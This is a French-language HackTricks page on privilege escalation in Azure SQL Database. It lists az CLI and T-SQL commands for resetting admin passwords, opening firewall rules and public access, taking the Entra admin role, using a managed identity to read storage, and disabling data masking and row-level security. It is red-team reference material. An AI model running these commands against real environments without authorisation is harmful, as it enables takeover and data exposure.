Az - SQL Database Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

SQL Database Privesc

Pour plus d’informations sur SQL Database, consultez :

Az - SQL

Microsoft.Sql/servers/read && Microsoft.Sql/servers/write

Avec ces permissions, un utilisateur peut effectuer une Ă©lĂ©vation de privilĂšges en mettant Ă  jour ou en crĂ©ant des serveurs SQL Azure et en modifiant des configurations critiques, y compris les identifiants administratifs. Cette permission permet Ă  l’utilisateur de mettre Ă  jour les propriĂ©tĂ©s du serveur, y compris le mot de passe administrateur du serveur SQL, permettant un accĂšs ou un contrĂŽle non autorisĂ© sur le serveur. Ils peuvent Ă©galement crĂ©er de nouveaux serveurs, introduisant potentiellement une infrastructure fantĂŽme Ă  des fins malveillantes. Cela devient particuliĂšrement critique dans les environnements oĂč “Microsoft Entra Authentication Only” est dĂ©sactivĂ©, car ils peuvent exploiter l’authentification basĂ©e sur SQL pour obtenir un accĂšs illimitĂ©.

# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>

# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>

De plus, il est nĂ©cessaire d’avoir l’accĂšs public activĂ© si vous souhaitez accĂ©der depuis un point de terminaison non privĂ©, pour l’activer :

az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true

De plus, avec les autorisations, vous pouvez activer l’identitĂ© assignĂ©e, et opĂ©rer avec l’identitĂ© gĂ©rĂ©e attachĂ©e au serveur. Par exemple ici avec une identitĂ© gĂ©rĂ©e qui peut accĂ©der Ă  Azure Storage :

az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO


CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO

SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO

Microsoft.Sql/servers/firewallRules/write

Un attaquant peut manipuler les rĂšgles de pare-feu sur les serveurs Azure SQL pour permettre un accĂšs non autorisĂ©. Cela peut ĂȘtre exploitĂ© pour ouvrir le serveur Ă  des adresses IP spĂ©cifiques ou Ă  des plages d’IP entiĂšres, y compris des IP publiques, permettant l’accĂšs Ă  des acteurs malveillants. Cette activitĂ© post-exploitation peut ĂȘtre utilisĂ©e pour contourner les contrĂŽles de sĂ©curitĂ© rĂ©seau existants, Ă©tablir une persistance ou faciliter le mouvement latĂ©ral au sein de l’environnement en exposant des ressources sensibles.

# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>

# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>

De plus, la permission Microsoft.Sql/servers/outboundFirewallRules/delete vous permet de supprimer une rĂšgle de pare-feu.
REMARQUE : Il est nĂ©cessaire d’avoir l’accĂšs public activĂ©.

Microsoft.Sql/servers/ipv6FirewallRules/write

Avec cette permission, vous pouvez crĂ©er, modifier ou supprimer des rĂšgles de pare-feu IPv6 sur un serveur SQL Azure. Cela pourrait permettre Ă  un attaquant ou Ă  un utilisateur autorisĂ© de contourner les configurations de sĂ©curitĂ© rĂ©seau existantes et d’accĂ©der de maniĂšre non autorisĂ©e au serveur. En ajoutant une rĂšgle qui permet le trafic de n’importe quelle adresse IPv6, l’attaquant pourrait ouvrir le serveur Ă  un accĂšs externe.

az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>

De plus, la permission Microsoft.Sql/servers/ipv6FirewallRules/delete vous permet de supprimer une rĂšgle de pare-feu.
REMARQUE : Il est nĂ©cessaire d’avoir l’accĂšs public activĂ©.

Microsoft.Sql/servers/administrators/write && Microsoft.Sql/servers/administrators/read

Avec ces permissions, vous pouvez privesc dans un environnement Azure SQL Server en accĂ©dant aux bases de donnĂ©es SQL et en rĂ©cupĂ©rant des informations critiques. En utilisant la commande ci-dessous, un attaquant ou un utilisateur autorisĂ© peut se dĂ©finir ou dĂ©finir un autre compte comme administrateur Azure AD. Si “Microsoft Entra Authentication Only” est activĂ©, vous pouvez accĂ©der au serveur et Ă  ses instances. Voici la commande pour dĂ©finir l’administrateur Azure AD pour un serveur SQL :

az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>

Microsoft.Sql/servers/azureADOnlyAuthentications/write && Microsoft.Sql/servers/azureADOnlyAuthentications/read

Avec ces autorisations, vous pouvez configurer et appliquer “Authentification uniquement Microsoft Entra” sur un serveur SQL Azure, ce qui pourrait faciliter l’escalade de privilĂšges dans certains scĂ©narios. Un attaquant ou un utilisateur autorisĂ© avec ces autorisations peut activer ou dĂ©sactiver l’authentification uniquement Azure AD.

#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>

#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>

Microsoft.Sql/servers/databases/dataMaskingPolicies/write

Modifiez (ou désactivez) les politiques de masquage des données sur vos bases de données SQL.

az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'

Supprimer la sécurité au niveau des lignes

Si vous vous connectez en tant qu’admin, vous pouvez supprimer les politiques de l’admin lui-mĂȘme et d’autres utilisateurs.

DROP SECURITY POLICY [Name_of_policy];

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks